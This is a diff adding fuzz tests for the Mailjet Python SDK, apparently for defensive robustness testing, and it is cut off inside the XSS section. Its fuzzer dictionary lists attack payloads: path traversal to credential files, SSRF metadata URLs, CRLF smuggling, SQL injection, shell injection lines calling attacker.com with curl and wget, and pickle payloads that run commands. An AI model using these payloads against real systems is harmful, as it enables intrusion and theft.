+ # Mock network to isolate the CPU on internal SDK memory mutations
+ client.session.request = Mock(return_value=Mock(status_code=200, json=lambda: {})) # type: ignore[method-assign]
+
+ # A pool of operational mutations
+ actions = [
+ lambda: client.contact.create(data={"Email": fdp.ConsumeUnicodeNoSurrogates(15)}),
+ lambda: client.contact.get(id=fdp.ConsumeInt(10000)),
+ lambda: client.send.create(data={"Messages": []}),
+ lambda: setattr(client.config, 'timeout', fdp.ConsumeFloat()),
+ lambda: client.template.update(id=fdp.ConsumeInt(100), data={"Name": fdp.ConsumeUnicodeNoSurrogates(10)})
+ ]
+
+ # Execute between 1 and 50 rapid-fire operations on the same object
+ num_steps = fdp.ConsumeIntInRange(1, 50)
+
+ try:
+ for _ in range(num_steps):
+ action = fdp.PickValueInList(actions)
+ action()
+ except (ApiError, ValueError, TypeError, AttributeError):
+ # We expect validation errors. We are hunting for core interpreter panics.
+ pass
+
+if __name__ == "__main__":
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
diff --git a/tests/fuzz/fuzz_structure_aware.py b/tests/fuzz/fuzz_structure_aware.py
new file mode 100644
index 0000000..454fd06
--- /dev/null
+++ b/tests/fuzz/fuzz_structure_aware.py
@@ -0,0 +1,131 @@
+from typing import Any
+import sys
+import base64
+import atheris
+
+
+with atheris.instrument_imports():
+ from mailjet_rest.builders import MessageBuilder, TemplateContentBuilder
+ from mailjet_rest.errors import ValidationError
+
+def generate_valid_payload(fdp: atheris.FuzzedDataProvider) -> dict:
+ payload: dict[str, Any] = {"Messages": []}
+
+ # Fuzz SandboxMode at the root payload level
+ if fdp.ConsumeBool():
+ payload["SandboxMode"] = fdp.ConsumeBool()
+
+ num_messages = fdp.ConsumeIntInRange(1, 3)
+
+ for _ in range(num_messages):
+ msg: dict[str, Any] = {}
+ msg["From"] = {
+ "Email": fdp.ConsumeUnicodeNoSurrogates(15) + "@example.com",
+ "Name": fdp.ConsumeUnicodeNoSurrogates(15) if fdp.ConsumeBool() else None
+ }
+
+ msg["To"] = [
+ {
+ "Email": fdp.ConsumeUnicodeNoSurrogates(15) + "@example.com",
+ "Name": fdp.ConsumeUnicodeNoSurrogates(15) if fdp.ConsumeBool() else None
+ }
+ for _ in range(fdp.ConsumeIntInRange(1, 2))
+ ]
+
+ if fdp.ConsumeBool():
+ msg["Cc"] = [{"Email": fdp.ConsumeUnicodeNoSurrogates(10) + "@ex.com"}]
+ if fdp.ConsumeBool():
+ msg["Bcc"] = [{"Email": fdp.ConsumeUnicodeNoSurrogates(10) + "@ex.com"}]
+ if fdp.ConsumeBool():
+ msg["TemplateID"] = fdp.ConsumeInt(1000000)
+ msg["TemplateLanguage"] = fdp.ConsumeBool()
+
+ # Add Tracing, Tracking, and Custom Identity Fuzzing
+ if fdp.ConsumeBool():
+ msg["CustomID"] = fdp.ConsumeUnicodeNoSurrogates(30)
+ if fdp.ConsumeBool():
+ msg["EventPayload"] = fdp.ConsumeUnicodeNoSurrogates(50)
+ if fdp.ConsumeBool():
+ msg["TrackOpens"] = fdp.PickValueInList(["enabled", "disabled", "account_default", fdp.ConsumeUnicodeNoSurrogates(5)])
+
+ if fdp.ConsumeBool():
+ fuzzed_binary = fdp.ConsumeBytes(150)
+ try:
+ b64_data = base64.b64encode(fuzzed_binary).decode('utf-8')
+ except Exception:
+ b64_data = "invalid_b64"
+
+ msg["Attachments"] = [{
+ "ContentType": "text/plain",
+ "Filename": fdp.ConsumeUnicodeNoSurrogates(10) + ".txt",
+ "Base64Content": b64_data
+ }]
+
+ payload["Messages"].append(msg)
+
+ return payload
+
+
+def TestOneInput(data: bytes) -> None:
+ if len(data) < 10:
+ return
+ fdp = atheris.FuzzedDataProvider(data)
+
+ target = fdp.ConsumeIntInRange(0, 1)
+
+ if target == 0:
+ builder = MessageBuilder()
+ try:
+ # Parse our fuzzed structural dictionary
+ payload_dict = generate_valid_payload(fdp)
+ for msg in payload_dict.get("Messages", []):
+ builder.set_sender(msg.get("From", {}).get("Email", ""), msg.get("From", {}).get("Name"))
+
+ for to in msg.get("To", []):
+ builder.add_recipient(to.get("Email", ""), to.get("Name"))
+ for cc in msg.get("Cc", []):
+ builder.add_cc(cc.get("Email", ""), cc.get("Name"))
+ for bcc in msg.get("Bcc", []):
+ builder.add_bcc(bcc.get("Email", ""), bcc.get("Name"))
+
+ if "Subject" in msg:
+ builder.set_subject(msg["Subject"])
+ if "TextPart" in msg:
+ builder.set_content(text=msg["TextPart"])
+ if "HTMLPart" in msg:
+ builder.set_content(html=msg["HTMLPart"])
+ if "TemplateID" in msg:
+ builder.set_template(msg["TemplateID"])
+
+ # NEW: Ensure fuzzed attachments are injected into the builder state
+ if "Attachments" in msg:
+ builder._msg["Attachments"] = msg["Attachments"]
+
+ if "Variables" in msg:
+ builder._msg["Variables"] = msg["Variables"]
+
+ builder.build()
+ except (ValueError, ValidationError, TypeError):
+ # Expected for malformed fuzzed inputs; keep fuzzing subsequent cases.
+ pass
+ else:
+ t_builder = TemplateContentBuilder()
+ try:
+ t_builder.set_meta(fdp.ConsumeUnicodeNoSurrogates(10), fdp.ConsumeUnicodeNoSurrogates(10))
+ t_builder.set_content(
+ text=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None,
+ html=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None,
+ mjml=fdp.ConsumeUnicodeNoSurrogates(20) if fdp.ConsumeBool() else None
+ )
+ t_builder.build()
+ except (ValueError, ValidationError, TypeError):
+ # Expected for malformed fuzz inputs; ignore so the fuzzer can continue exploring.
+ pass
+
+def main() -> None:
+ atheris.instrument_all()
+ atheris.Setup(sys.argv, TestOneInput)
+ atheris.Fuzz()
+
+if __name__ == "__main__":
+ main()
diff --git a/tests/fuzz/fuzzer.dict b/tests/fuzz/fuzzer.dict
new file mode 100644
index 0000000..cebc7c3
--- /dev/null
+++ b/tests/fuzz/fuzzer.dict
@@ -0,0 +1,577 @@
+# ==========================================
+# 1. Target-Specific API & Domain Context
+# ==========================================
+# Routing terms, versions, and parameters specific to the target API.
+"v1"
+"v3"
+"v3.1"
+"v4"
+"REST"
+"DATA"
+"send"
+"contact"
+"contacts"
+"contactdata"
+"contactfilter"
+"contactslist"
+"contactslistsignup"
+"contactstatistics"
+"managemanycontacts"
+"detailcontent"
+"Messages"
+"Message"
+"TextPart"
+"HTMLPart"
+"MJMLPart"
+"MJMLContent"
+"TemplateID"
+"CustomID"
+"Attachments"
+"InlinedAttachments"
+"Headers"
+"Variables"
+"Globals"
+"Subject"
+"From"
+"To"
+"Cc"
+"Bcc"
+"Sender"
+"Reply-to"
+"sender"
+"TemplateLanguage"
+"TemplateErrorReporting"
+"TemplateErrorDeliver"
+"IsExcludedFromCampaigns"
+"IsUnsubscribed"
+"TrackOpens"
+"TrackClicks"
+"CustomCampaign"
+"EventPayload"
+"URLTags"
+"DeduplicateCampaign"
+"Action"
+"Data"
+"api_key"
+"secret_key"
+"APIKey"
+"SecretKey"
+"Token"
+"open"
+"click"
+"bounce"
+"spam"
+"blocked"
+"unsub"
+"unsubscribed"
+"statcounters"
+"statistics_linkClick"
+"parseroute"
+"campaigndraft"
+"campaigndraft_schedule"
+"campaign"
+"newsletter"
+"create_template"
+"create_image"
+"read_template"
+"delete_template"
+"send_message"
+"eventcallbackurl"
+"webhook"
+"dns_check"
+"dns"
+"toplinkclicked"
+"myprofile"
+"user"
+"apikey"
+"apikeyaccess"
+"apikeytotals"
+"senderstatistics"
+"domainstatistics"
+"bouncestatistics"
+"clickstatistics"
+"openinformation"
+"geostatistics"
+"liststatistics"
+"listrecipient"
+"csvimport"
+"batchjob"
+"batch"
+"messagehistory"
+"messageinformation"
+"messagestate"
+
+# Expected Exception & State Tracking Overrides
+"MailjetAuthError"
+"ApiError"
+"ApiRateLimitError"
+"AuthorizationError"
+"CriticalApiError"
+"TimeoutError"
+"ValidationError"
+"DoesNotExistError"
+"IsTextPartGenerationEnabled"
+"CounterSource"
+"Date"
+
+# ==========================================
+# 2. Path Traversal & Filesystem Boundaries
+# ==========================================
+# Payloads targeting local file inclusion (LFI) and OS-level file exposure (CWE-22).
+"//"
+".."
+"///"
+"/."
+"/%00/"
+"%00"
+"a.csv%00.jpg"
+"..;"
+";/"
+"....//"
+"/Users/xxx/..;0"
+"/Users/foo/..;0"
+"/private/Tm../tmp"
+"/private/tmp/safe"
+"/private/tm/.p./\x10"
+"../../../../../../../../../../../../"
+"%2e%2e%2f"
+"%252e%252e%252f"
+"%c0%af"
+"%e0%80%af"
+"%c0%ae%c0%ae%c0%af"
+"%5C..%5C..%5C"
+"%5C..%5C..%5C"
+"C:%5C"
+"c:\\windows\\system32\\config\\sam"
+"/etc/passwd"
+"/etc/shadow"
+"/proc/self/environ"
+"/dev/null"
+"/dev/random"
+"/dev/urandom"
+"con"
+"prn"
+"aux"
+"nul"
+"lpt1"
+"com1"
+
+# ==========================================
+# 3. SSRF, Hostnames & Scheme Bypasses
+# ==========================================
+# Targets Server-Side Request Forgery (CWE-918) and URL parsing logic.
+"http://127.0.0.1"
+"https://127.0.0.1"
+"http://localhost"
+"http://[::1]"
+"http://169.254.169.254/latest/meta-data/"
+"file://"
+"dict://"
+"gopher://"
+"ldap://"
+"0.0.0.0"
+"0x7f.0.0.1"
+"0x7f000001"
+"0x7f.0x0.0x0.0x1"
+"::ffff:7f000001"
+"api.mailjet.com"
+"mailjet.com"
+"api.mailgun.net"
+"api.eu.mailgun.net"
+"api.mailjet.com.attacker.com"
+"//mailjet.com"
+"blob:"
+
+# ==========================================
+# 4. Protocol Smuggling, HTTP Headers & CRLF
+# ==========================================
+# Targets HTTP/1.x, HTTP/2 framing, cache poisoning, and connection pools.
+"\x0D\x0A"
+"\x0D\x0A\x0D\x0A"
+"\x0D\x0A\x09"
+"\x0D\x0A\x20"
+"%0d%0a"
+"%0D%0A"
+"%0d%0a%09"
+"%0d%0a%20"
+"Transfer-Encoding: chunked"
+"Transfer-Encoding: chunked, identity"
+"Transfer-Encoding:\x0Bchunked"
+"Transfer-Encoding: chunked\x0D\x0ATransfer-Encoding: x"
+"Content-Length: -1"
+"Content-Length: 0"
+"Content-Length: -0"
+"Content-Length:\x0B1"
+"Host: api.mailjet.com\x0D\x0A\x0D\x0AGET / HTTP/1.1\x0D\x0A"
+"HTTP/1.1 200 OK%0d%0a%0d%0a"
+"Upgrade: h2c"
+":authority"
+":method"
+":path"
+"HTTP/0.9"
+"GET"
+"POST"
+"PUT"
+"DELETE"
+"PATCH"
+"OPTIONS"
+"HEAD"
+"TRACE"
+"CONNECT"
+"Authorization"
+"Bearer "
+"Basic "
+"Expect: 100-continue"
+"%0d%0aProxy-Connection: Keep-Alive"
+
+# ==========================================
+# 5. Data Serialization, Parsing & MIME Boundaries
+# ==========================================
+# Targets JSON, XML, Multipart/Form-data, and Base64 decoders.
+"{"
+"}"
+"[]"
+"0}"
+"c]"
+"0:"
+"/{"
+"\"\""
+"\""
+"'a"
+"\"\\uD800\\uD800\""
+"{\"$ne\": null}"
+"{\"Variables\": {\"level1\": {\"level2\": {\"level3\": {\"level4\": 1}}}}}"
+"[[[[[[[[[[]]]]]]]]]]"
+"{\"\\u0000\": \"null_key\"}"
+""
+"]>"
+"application/json"
+"application/xml"
+"application/pdf"
+"text/html"
+"image/jpeg"
+"image/gif"
+"application/x-www-form-urlencoded"
+"multipart/form-data"
+"multipart/form-data; boundary=---------------------------"
+"\x0D\x0A\x0D\x0A--"
+"data:image/png;base64,iVBORw0KGgo"
+"data://text/plain;base64,SmJhdHk="
+"=?utf-8?B?\"\"?="
+"=?utf-8?q?"
+"=?ISO-8859-1?Q?"
+"Content-Transfer-Encoding: base64\x0D\x0A\x0D\x0A===="
+"Content-Transfer-Encoding: quoted-printable\x0D\x0A\x0D\x0A=ZZ"
+
+# ==========================================
+# 6. SQL, NoSQL & Data Store Injection
+# ==========================================
+# Targets database query builders and NoSQL evaluation engines.
+"' OR '1'='1"
+"\" OR \"1\"=\"1"
+"admin' --"
+"1; DROP TABLE users"
+"1' OR sleep(10)--"
+"1' WAITFOR DELAY '0:0:10'--"
+"||"
+"&&"
+
+# ==========================================
+# 7. Command Injection, Metaprogramming & Deserialization
+# ==========================================
+# Targets unsafe evaluation, Python introspection, and shell execution.
+";id;"
+"|id"
+"`id`"
+"$(whoami)"
+"| curl http://attacker.com"
+"; wget http://attacker.com"
+"() { :;}; /bin/bash -c"
+"eval("
+"import subprocess"
+"__class__"
+"__bases__"
+"__mro__"
+"__subclasses__"
+"__init__"
+"__globals__"
+"__dict__"
+"__reduce__"
+"__proto__"
+"constructor"
+"Object.prototype"
+"_msg"
+"_data"
+"cos\x0asystem\x0a(S'id'\x0atR."
+"c__builtin__\x0aeval\x0a(Vprint('XSS')\x0atR."
+"Z3tfQW5f/////////////////////19pb25fL2FjdG9uYWlkZ1k="
+
+# ==========================================
+# 8. XSS & Server-Side Template Injection (SSTI)
+# ==========================================
+# Targets rendering engines, web outputs, and templating logic.
+""
+"
"
+"javascript:alert(1)"
+"